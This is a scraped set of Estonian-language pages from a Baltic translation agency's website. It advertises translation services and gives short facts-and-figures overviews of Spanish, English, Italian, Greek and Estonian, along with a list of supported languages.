tõlkimine; kindlustusvõtjaid ja kindlustuslepingust tulenevaid nõudeid käsitleva teabe tõlkimine; kindlustuspoliiside tõlkimine; taotlusvormide ja standardsete nõudejärgsete meeldetuletuskirjade tõlkimine; sünkroon- või järeltõlge erinevateks üritusteks, sealhulgas ärikohtumised, seminarid ja konverentsid; teie teenuseid reklaamivate igat liiki turundusmaterjalide tõlkimine; muud teenused vastavalt teie vajadustele. VÕTKE MEIEGA ÜHENDUST! KUULAME MEELELDI TEIE SOOVE JA TÖÖTAME VÄLJA JUST TEILE SOBIVA LAHENDUSE. Saada päring Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- > Asjatundlikud tõlked hispaania keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - Published: 2022-05-13 - Modified: 2024-08-13 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-spanu-valoda/ - Translation Priorities: Optional KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna HISPAANIA KEEL – FAKTID JA ARVUD Hispaania keele juured ulatuvad tagasi 9. sajandisse. See arenes välja ladina kõnekeelest, mille tõid Rooma leegionid 3. sajandil eKr Ibeeria poolsaarele. Hispaania (või kastiilia) keel kuulub indoeuroopa keelkonna romaani keelte rühma. See on emakeel ligikaudu 400 miljonile inimesele, mis teeb sellest mandariini keele järel teise suurima keele maailmas. Hispaania keel on riigikeel nii Hispaanias kui ka kõigis Kesk- ja Lõuna-Ameerika riikides, välja arvatud Brasiilias, Prantsuse Guajaanas ja Haitil. See on laialt levinud ka USAs (eelkõige Arizona, California, Colorado, New Yorki, New Mexico ja Texase osariikides), Hollandi Antillidel ja endistes Hispaania kolooniates Aafrikas (Guineas, Marokos ja Lääne-Saharas). Esimesed hispaaniakeelsed kirjalikud säilmed pärinevad 11. sajandist. Hispaania keeles kasutatakse 29 tähest koosnevat ladina tähestikku. Keel koosneb umbes 100 000 sõnast. Hispaania keeles nimi- ega omadussõnu ei käänata. Nimisõnade põhimõtteline seos luuakse eessõnade abil. Hispaania keelele iseloomuliku ortograafilise omadusena võib välja tuua ümberpööratud küsi- ja hüüumärkide kasutamise lausete alguses, näiteks lauses „¿Qué pasa? “ (Mis juhtus? ). Erinevates riikides on hispaania keele hääldus ja keelekasutus varieeruv, kuid need erisused ei ole nii märkimisväärsed, et võiksid vastastikust mõistmist takistada. Hispaania kõnekeeles on kaks järgmist peamist murret: Andaluusia ja Kastiilia murre. Hispaania (ehk kastiilia) kirjakeel põhineb Kastiilia murdel. See on üldiselt arusaadav kõikide hispaania keele kõnelejate jaoks. HISPAANIA KEELES SAAME TEILE ABIKS OLLA JÄRGNEVATE TEENUSTEGA: üldine ja erialane tõlge; notariaalselt kinnitatud tõlge; lokaliseerimine; neuromasintõlge; küljendamine (DTP – desktop publishing); teksti kohandamine ja tekstide koostamine; suuline tõlge; keeleõpe; lingvistiline auditeerimine; jne. SKRIVANEK BALTIC TÕLGIB JÄRGMISTEL KEELESUUNDADEL: hispaania-inglise, inglise-hispaania, hispaania-eesti, eesti-hispaania, hispaania-eesti, leedu-hispaania, hispaania-leedu, vene-hispaania, hispaania-vene, poola-hispaania, hispaania-poola, tšehhi-hispaania, hispaania-tšehhi, ukraina-hispaania, hispaania-ukraina, saksa-hispaania, hispaania-saksa, prantsuse-hispaania, hispaania-prantsuse, itaalia-hispaania, hispaania-itaalia, taani-hispaania, hispaania-taani, rootsi-hispaania, norra-hispaania, hispaania-norra, soome-hispaania, hispaania-soome ja teistel. --- > Asjatundlikud tõlked inglise keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - Published: 2022-05-13 - Modified: 2024-08-13 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-anglu-valoda/ - Translation Priorities: Optional KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna INGLISE KEEL – FAKTID JA ARVUD Kaasaegse inglise keele juured on seitsmendas sajandis meie ajaarvamise järgi, kui kolm germaani hõimu – anglid, saksid ja jüüdid – jõudsid Suurbritannia saarele, kus nad segunedes kohalike hõimudega – keltide, piktide ja šottidega – moodustasid anglosaksi hõimud. Inglise keele vormid võib jagada kolmeks ajalooliseks perioodiks: 1) vanainglise keel ehk anglosaksi keel (8. –11. saj), 2) keskinglise keel (12. –16. saj) ja 3) uusinglise keel (16. saj kuni tänapäevani). Inglise keel kuulub läänegermaani keelte hulka, mis omakorda liigitatakse indoeuroopa keelkonda. Seda keelt kõneleb emakeelena 400 miljonit inimest ja emakeelena kõnelejate arvu poolest on inglise keel maailmas kolmandal kohal hiina ja hindi keele järel. Samas – kui võtta arvesse ka kõik ülejäänud inglise keele kõnelejad maailmas, tuleb inglise keel teisele kohale. 26-tähelist ladina tähestikku on inglise keeles kasutatud juba alates üheksandast sajandist. Inglise keeles kasutatakse aktiivselt ligikaudu 171 476 sõna, millest 47 156 sõna peetakse vananenuks. Sellele arvule võib lisada ligikaudu 9500 derivatsiooni. Ligikaudu pooled neist on nimisõnad, veerand omadussõnad ja üks seitsmendik tegusõnad. Ülejäänud sõnakasutus koosneb hüüatustest, sidesõnadest, eessõnadest jne. Esimene Inglise trükkal ja trükikoja omanik oli William Caxton (1422–1491), kes trükkis esimese ingliskeelse raamatu umbes 1471. aastal. Oma trükikoja asutas ta 1476. aastal Inglismaal Westminsteris. Inglise keel on riigikeeleks paljudes riikides: Ameerika Ühendriigid, Austraalia, Lõuna-Aafrika, Uus-Meremaa, Kanada, Ühendkuningriik ning paljud Kariibi mere ja Vaikse ookeani saareriigid. Inglise keel on ka paljude Aafrika riikide, Filipiinide, India ja Singapuri üks ametlikest keeltest. Häälduse, sõnavara ja grammatika poolest võib maailmas eristada mitut liiki inglise keelt: Ameerika inglise keel, Austraalia inglise keel, Briti inglise keel, Kanada inglise keel jne. Iga inglise keele variant sisaldab omakorda mitmeid dialekte. Näiteks Briti inglise keele peamised dialektid on Lõuna-Inglismaa, Kesk-Inglismaa, Põhja-Inglismaa, Iiri, Šoti, Walesi jne. INGLISE KEELES SAAME TEILE ABIKS OLLA JÄRGNEVATE TEENUSTEGA: üldine ja erialane tõlge; notariaalselt kinnitatud tõlge; lokaliseerimine; neuromasintõlge; küljendamine (DTP – desktop publishing); teksti kohandamine ja tekstide koostamine; suuline tõlge; keeleõpe; lingvistiline auditeerimine; jne. SKRIVANEK BALTIC TÕLGIB JÄRGMISTEL KEELESUUNDADEL: eesti-inglise, inglise-eesti, leedu-inglise, inglise-leedu, vene-inglise, inglise-vene, poola-inglise, inglise-poola, tšehhi-inglise, inglise-tšehhi, ukraina-inglise, inglise-ukraina, saksa-inglise, inglise-saksa, prantsuse-inglise, inglise-prantsuse, hispaania-inglise, inglise-hispaania, itaalia-inglise, inglise-itaalia, taani-inglise, inglise-taani, rootsi-inglise, norra-inglise, inglise-norra, soome-inglise, inglise-soome ja teistel. --- > Asjatundlikud tõlked itaalia keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - Published: 2022-05-13 - Modified: 2024-08-13 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-italu-valoda/ - Translation Priorities: Optional KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna ITAALIA KEEL – FAKTID JA ARVUD Itaalia keel on romaani keel, mis kuulub indoeuroopa keelkonda, ja seda kõneleb emakeelena ligikaudu 65 miljonit inimest. Itaalia keele juured ulatuvad tagasi 1. sajandisse eKr, kui see hakkas vulgaarladina keele põhjal tasapisi arenema. Varaseimad itaalia kirjakeele näited, mis kujutavad endast erinevaid lühimärkusi ja -tekste, dateeruvad 10. sajandisse pKr. Vanim säilinud itaaliakeelne tekst on pärit aastast 960 pKr. Tänapäeval kasutatav itaalia keel arenes välja pika aja jooksul, mille vältel erinevad kirjanikud andsid välja tekste oma piirkondlikes murretes. Itaalia kirjakeel põhineb Firenze ümbruses räägitud Toscana murdel, mis sai rahva seas tuntuks 13. ja 14. sajandil tänu selliste silmapaistvate kirjanike nagu Dante Alighieri, Giovanni Boccaccio ja Francesco Petrarca avaldatud töödele. Itaalias on tänaseni kasutusel mitmed murded, mis erinevad üksteisest sedavõrd märkimisväärselt, et erinevaid murdeid kõnelevatel inimestel on üksteisest arusaamisega üsna palju raskusi. Näiteks peavad mõned keeleteadlased Sitsiilia murret hoopis omaette keeleks. Itaalia keel põhineb ladina tähestikul, koosnedes 21 tähest. Tähestikus ei kasutata tähti „j“, „k“, „w“, „x“ ega „y“, kuigi need esinevad vahetevahel erinevates laensõnades. Paljudel vokaalidele võib olla lisatud diakriitilisi märke, mis võib muuta sõna hääldust või isegi tähendust. Itaalia keeles kasutatakse nimisõnade ees sõna sugu ja hulka määratlevaid artikleid. Artiklit „la“ kasutatakse naissoost nimisõnade ning artiklit „il“ meessoost nimisõnade korral. Mitmuses naissoost nimisõnu tähistatakse artikliga „le“ ning meessoost nimisõnu artikliga „i“. Itaalia keeles on kasutusel ka umbmäärane artikkel – „una“ naissoost sõnade ja „un“ meessoost sõnade puhul. Itaalia keelt räägitakse ametliku keelena Itaalias, San Marinos, Šveitsis ja Vatikanis ning vähemuskeelena Eritreas, Prantsusmaal, Horvaatias, Liibüas, Maltal, Monacos, Sloveenias ja Somaalias. Ka Argentinas, USAs, Austraalias, Brasiilias, Tšiilis ning Kanadas on kanda kinnitanud suured itaaliakeelsed kogukonnad. ITAALIA KEELES SAAME TEILE ABIKS OLLA JÄRGNEVATE TEENUSTEGA: üldine ja erialane tõlge; notariaalselt kinnitatud tõlge; lokaliseerimine; neuromasintõlge; küljendamine (DTP – desktop publishing); teksti kohandamine ja tekstide koostamine; suuline tõlge; keeleõpe; lingvistiline auditeerimine; jne. SKRIVANEK BALTIC TÕLGIB JÄRGMISTEL KEELESUUNDADEL: eesti-itaalia, itaalia-eesti, leedu-itaalia, itaalia-leedu, vene-itaalia, itaalia-vene, poola-itaalia, itaalia-poola, tšehhi-itaalia, itaalia-tšehhi, ukraina-itaalia, itaalia-ukraina, saksa-itaalia, itaalia-saksa, prantsuse-itaalia, itaalia-prantsuse, hispaania-itaalia, itaalia-hispaania, itaalia-inglise, inglise-itaalia, taani-itaalia, itaalia-taani, rootsi-itaalia, norra-itaalia, itaalia-norra, soome-itaalia, itaalia-soome ja teistel. --- > Asjatundlikud tõlked kreeka keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - Published: 2022-05-13 - Modified: 2024-08-13 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-grieku-valoda/ - Translation Priorities: Optional KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna KREEKA KEELES SAAME TEILE ABIKS OLLA JÄRGNEVATE TEENUSTEGA: üldine ja erialane tõlge; notariaalselt kinnitatud tõlge; lokaliseerimine; neuromasintõlge; küljendamine (DTP – desktop publishing); teksti kohandamine ja tekstide koostamine; suuline tõlge; keeleõpe; lingvistiline auditeerimine; jne. SKRIVANEK BALTIC TÕLGIB JÄRGMISTEL KEELESUUNDADEL: kreeka-eesti, eesti-kreeka, eesti-inglise, kreeka-eesti, leedu-kreeka, kreeka-leedu, vene-kreeka, kreeka-vene, poola-kreeka, kreeka-poola, tšehhi-kreeka, kreeka-tšehhi, ukraina-kreeka, kreeka-ukraina, saksa-kreeka, kreeka-saksa, prantsuse-kreeka, kreeka-prantsuse, hispaania-kreeka, kreeka-hispaania, itaalia-kreeka, kreeka-itaalia, taani-kreeka, kreeka-taani, rootsi-kreeka, norra-kreeka, kreeka-norra, soome-kreeka, kreeka-soome ja teistel. KREEKA KEEL – FAKTID JA ARVUD Kreeka keel kuulub indoeuroopa keelkonda ning sageli viidatakse sellele kui esimesele Euroopa tsivilisatsioonis kasutusel olnud keelele. Tänapäeval räägib seda keelt ligikaudu 15 miljonit inimest kogu maailmast. See on riigikeel Küprosel ja Kreekas, kuid samuti räägitakse seda Albaanias, Ühendkuningriigis, Armeenias, USAs, Bulgaarias, Lõuna-Aafrikas, Egiptuses, Prantsusmaal, Gruusias, Itaalias, Jordaanias, Kasahstanis, Venemaal, Makedoonias, Rumeenias, Hispaanias ja Ukrainas. Ajaloolises plaanis võib kreeka keele arengu jagada mitmeks erinevaks etapiks: algne kreeka (nn proto-kreeka), mükeene-kreeka, vanakreeka, Uue Testamendi kreeka (nn koinee), keskaegne kreeka ja uuskreeka keel. Varaseimad tõendid kreeka kirjakeelest savitahvlite näol pärinevad Proto-Kreeka ajastust ja need on siiani vaid osaliselt dešifreeritud. Selle perioodi tuntuimad kirjakeelsed üllitised on Homerose eeposed, nagu „Ilias“ ja „Odüsseia“, mis kirjutati umbes 9. –8. sajandil eKr. Mükeene-Kreeka ajastu langeb kokku Mükeene tsivilisatsiooni perioodiga. Mõned kirjakeelsed tõendid ulatuvad tagasi 15. –14. sajandisse eKr. Vanas-Kreekas kasutati vanakreeka keelt. Vanakreeka murded ühinesid ja moodustasid nn Uue Testamendi kreeka (nn koinee) keele, millest sai esimene antiikmaailma ühendav lingua franca, mida kasutati Vahemere idakaldast kuni Kaug-Idani. Esmalt tekkis see Aleksander Suure vallutatud piirkondades, kuid hellenismi kolonisatsiooni järgselt räägiti seda aladel Egiptusest kuni Indiani. Pärast Vana-Kreeka kokkuvarisemist kasutati koinee keelt laialdaselt Rooma ja Bütsantsi impeeriumis. Umbes 7. sajandil arenes foiniikia kirjakeele alusel välja Kreeka tähestikul põhinev keel, milles iga täht vastab ühele häälikule. Algselt kasutati Kreeka tähestiku tähti ka numbritena. Kõnekeel arenes kirjakeelest palju kiiremini – ajal, mil räägiti juba vanakreeka keelt, kirjutati tekste ikka veel algses kreeka keeles. Uuskreeka keel kujunes välja umbes 14. sajandil ja seda kasutatakse tänapäevani. Sellel keelel on kaks erinevat varianti: rahva- ehk demootiline keel ja puristlik ehk katharévousa keel. Katharévousa keelt kasutatakse ametiasutustes ja see on mõningal määral koinee keele sarnane. Uuskreeka keel on algsest kreeka keelest märkimisväärselt erinev. Nüüdisaegse kreeka keele kõnelejad ei pruugi algses kreeka keeles kirjutatud tekstidest arugi saada. Algne kreeka keel kujundab tähelepanuväärsel kombel enamikku kaasaegsetest keele rahvusvahelistumise juhtumitest. Kreeka asesõnade muutmisel ladinakeelseteks säilitasid need reeglina oma sõnalõpud, millest võib eeldada, et neid võib leida ka läti keelest. Näiteks kreekakeelne asesõna „Mikis“ on läti keeles sama. --- > Asjatundlikud tõlked eesti keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - Published: 2022-05-12 - Modified: 2024-08-13 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-igaunu-valoda/ - Translation Priorities: Optional KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna EESTI KEEL – FAKTID JA ARVUD Eesti keelt räägitakse Euroopa põhjapiirkonnas. See keel kuulub soome-ugri keelkonna läänemeresoome keelte rühma. Teadlaste sõnul elasid algsed soome-ugri hõimud väga suurtel aladel, mis ulatusid kaugelt üle Uurali mägede, kus asusid iraani hõimude elupaigad. Siiski liikusid nad 3000. aastal eKr Läänemerele lähemale, kus nad asusid kohalike balti hõimudega lähedasi kultuurisidemeid looma. Arheoloogilistes avastustes tuntakse selliseid hõime kammkeraamika kultuuri esindajatena. Eesti keel on suguluses liivi, soome ja vadja keelega, kuid erineb oma naaberriikide Venemaa, Läti või Rootsi keeltest. Eesti ja soome keel kujunesid eraldiseisvate keeltena välja siis, kui algsed soome-ugri hõimud, kes kasutasid suhtluseks nn läänemeresoome algkeelt, üksteisest lahknesid. Nüüdisaegne eesti keel on sarnasem soome keelele kui läänemeresoome algkeelele, kuid siiski leidub eesti keeles mõningaid arhaisme, mida soome keelest enam leitud ei ole. Eesti keelt räägib umbes 1,1 miljonit inimest ja see on teine riigikeele staatust omav väikseim keel maailmas islandi keele järel. Eestis räägitakse seda riigikeelena ning Venemaal ja Lätis vähemuskeelena. Eesti keeles on kaks murret: põhjaeesti (kasutatakse Tallinnas) ja lõunaeesti (kasutatakse Tartus) murre. Põhjaeesti murret räägitakse ka Eesti saartel, Lääne-, Harju-, Järva- ja Virumaal ning Pärnu-, Viljandi- ja Tartumaa põhjaosades. Saartel kasutatav eesti keel sarnaneb selgelt rootsi keelele. Lõunaeesti murret räägitakse Pärnu-, Viljandi- ja Tartumaa lõunaosades. Nüüdisaegne eesti kirjakeel põhineb eelkõige põhjaeesti murdel. Alates 16. sajandist on riigis olnud kaks liiki kirjakeelt, vastamaks kummalegi territooriumil räägitavale murdele. Piibli tõlge, mis ilmus 1739. aastal, oli eesti kirjakeele arengu märk ja esimene kirjalik allikas, milles hõlmati mõlemat keeleversiooni. 19. sajandil eesti kirjakeele loomises osalenud keeleteadlastest olid tuntuimad Ed. Ahrens, F. J. Wiedemann, J. Hurt ja M. Veske. Sellest ajast peale algas ka Eesti kirjanduse kiire arengu ajajärk. Eesti kirjakeele evolutsioon oli äärmiselt huvitav. 19. sajandi lõpus algatas keeleteadlane Mihkel Veske liikumise, mille eesmärk oli hõlmata kirjakeelde teatud murrete foneetilisi omadusi. Kõnealune liikumine oli sedavõrd edukas, et mõnda aega oli Eestis kasutusel kaks paralleelset kirjakeelt. Varaseimad laensõnad on eesti keelde tulnud balti, germaani, indoiraani ja slaavi keeltest, samas kui hiliseimad on üle võetud läti, vene, saksa ja rootsi keelest. Siiski on eesti keeles väga vähe keele rahvusvahelistumise juhtumeid. Kirjakeel põhineb ladina tähestikul, milles on siiani säilinud saksa keele mõjutused: see sisaldab kolme iseseisvat tähte, millele on lisatud diakriitik treema ehk täpid (Ä, Ö ja Ü). Eesti keel on rikas grammatiliste käänete poolest, nimelt on neid keeles neliteist. Lisaks meile tuttavatele käänetele, nagu nominatiiv ja genitiiv, kasutatakse eesti keeles ka järgmiseid käändeid: partitiiv (keda? mida? ), illatiiv (kellesse? millesse? ), inessiiv (kelles? milles), elatiiv (kellest? millest? ), allatiiv (kellele? millele? ), adessiiv (kellel? millel? ), ablatiiv (kellelt? millelt? ), translatiiv (kelleks? milleks), terminatiiv (kelleni? milleni? ), essiiv (kellena? millena? ), abessiiv (kelleta? milleta? ), komitatiiv (kellega? millega? ). Keeles on palju vokaale, mida eristatakse pikkuse järgi: lühikesed, poolpikad, pikad ja ülipikad. Ka diftongid ja konsonandid võivad olla lühikesed, poolpikad või pikad. Eesti keel koosneb 45% ulatuses vokaalidest ja 55% ulatuses konsonantidest. Eesti verbaalses süsteemis kasutatakse tegusõnade jaoks nelja grammatilist aega – ühte oleviku- ja kolme minevikuaega –, kuid samas puudub aeg tuleviku määramiseks. Eesti keele tegusõnade puhul kasutatakse kahte infinitiivi vormi. Põhirõhk asetatakse alati sõna esimesele silbile, kolmandale silbile omistatakse aga teisest rõhuasetust. Sõnajärg on suhteliselt vaba ja lausete tähendust on võimalik mõista ka juhul, kui lause moodustamiseks ei ole kasutatud korrektset sõnade järjestust. Kõigil nimi- ja omadussõnadel on nende ainsuse ja mitmuse vormides sama lõpp. Mitmuse moodustamiseks kasutatakse spetsiaalseid järelliiteid. Mõlemale soole viitamiseks kasutatakse üht ja sama asesõna, kuna eesti keeles ei ole grammatilist sugu. Eesti keeles puudub ülivõrret märkiv eraldi sõna. Selle asemel on kvaliteeditasandite tähistamiseks võetud sõnade lõpus kasutusele tähendust tugevdavad sõnaliited (nt i-ülivõrre). Eesti keeles on olemas kergesti eristatav kaudne kõneviis ja eitust väljendav pööre, kuid puuduvad eessõnad, seega ei ole eessõnade abil võimalik tegusõnu moodustada. Sel põhjusel ongi eesti keeles sedavõrd palju grammatilisi käändeid. Arvatakse, et see on üks keerulisimatest keeltest kogu maailmas. EESTI KEELES SAAME TEILE ABIKS OLLA JÄRGNEVATE TEENUSTEGA: üldine ja erialane tõlge; notariaalselt kinnitatud tõlge; lokaliseerimine; neuromasintõlge; küljendamine (DTP – desktop publishing); teksti kohandamine ja tekstide koostamine; suuline tõlge; keeleõpe; lingvistiline auditeerimine; jne. SKRIVANEK BALTIC TÕLGIB JÄRGMISTEL KEELESUUNDADEL: eesti-inglise, inglise-eesti, leedu-eesti, eesti-leedu, vene-eesti, eesti-vene, poola-eesti, eesti-poola, tšehhi-eesti, eesti-tšehhi, ukraina-eesti, eesti-ukraina, saksa-eesti, eesti-saksa, prantsuse-eesti, eesti-prantsuse, hispaania-eesti, eesti-hispaania, itaalia-eesti, eesti-itaalia, taani-eesti, eesti-taani, rootsi-eesti, norra-eesti, eesti-norra, soome-eesti, eesti-soome ja teistel. --- > Asjatundlikud tõlked tšehhi keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - Published: 2022-05-11 - Modified: 2024-01-03 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/ - Translation Priorities: Optional afrikaani aimara akadi albaania amhara araabia armeenia aserbaidžaani baškiiri belau bengali birma bislama bosnia bulgaaria burjaadi dari divehi dzongkha eesti farsi fääri gruusia guaranii heebrea hiina hindi hispaania hollandi (flaami) horvaadi iiri indoneesia inglise islandi itaalia jaapani kasahhi katalaani ketšua khmeeri kirgiisi komi korea kosrae kreeka kreooli kurdi ladina lao leedu lingala läti makedoonia malagassi malai malta marathi moldaavia mongoolia nauru ndebele nepali njandža norra pedi poola portugali prantsuse puštu pärsia rootsi ruanda rumeenia rundi saksa samoa sanskriti serbia singali slovaki sloveeni somaali soome sotho suahiili sumeri svaasi taani tadžiki tagalogi tai tamili tatari tigree tiibeti tonga tsvana tšehhi tšuktši türgi türkmeeni ukraina ungari urdu usbeki valgevene venda vene vietnami volofi ja muud MEIE KÕIGE POPULAARSEMAD KEELETEENUSED KLIENTIDE HULGAS: üldine ja erialane tõlge; vandetõlgi või notari kinnitusega tõlked; lokaliseerimine; neuromasintõlge; küljendamine (DTP – desktop publishing); teksti kohandamine ja tekstide koostamine; suuline tõlge; keeleõpe; lingvistiline auditeerimine; jne. EI LEIDNUD ÕIGET KEELT? SOOVITE NÕUSTAMIST? Võta ühendust ROHKEM KUI 25 AASTAT KOGEMUST! Võimaldab meil pakkuda teile parimaid tõlkelahendusi. 0+ keelt erinevates kombinatsioonides 0+ milj. tõlgitud sõna (2023) 0+ keeleeksperti 0 ISO sertifikaati KÕIGE POPULAARSEMAD TÕLKEVALDKONNAD Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin 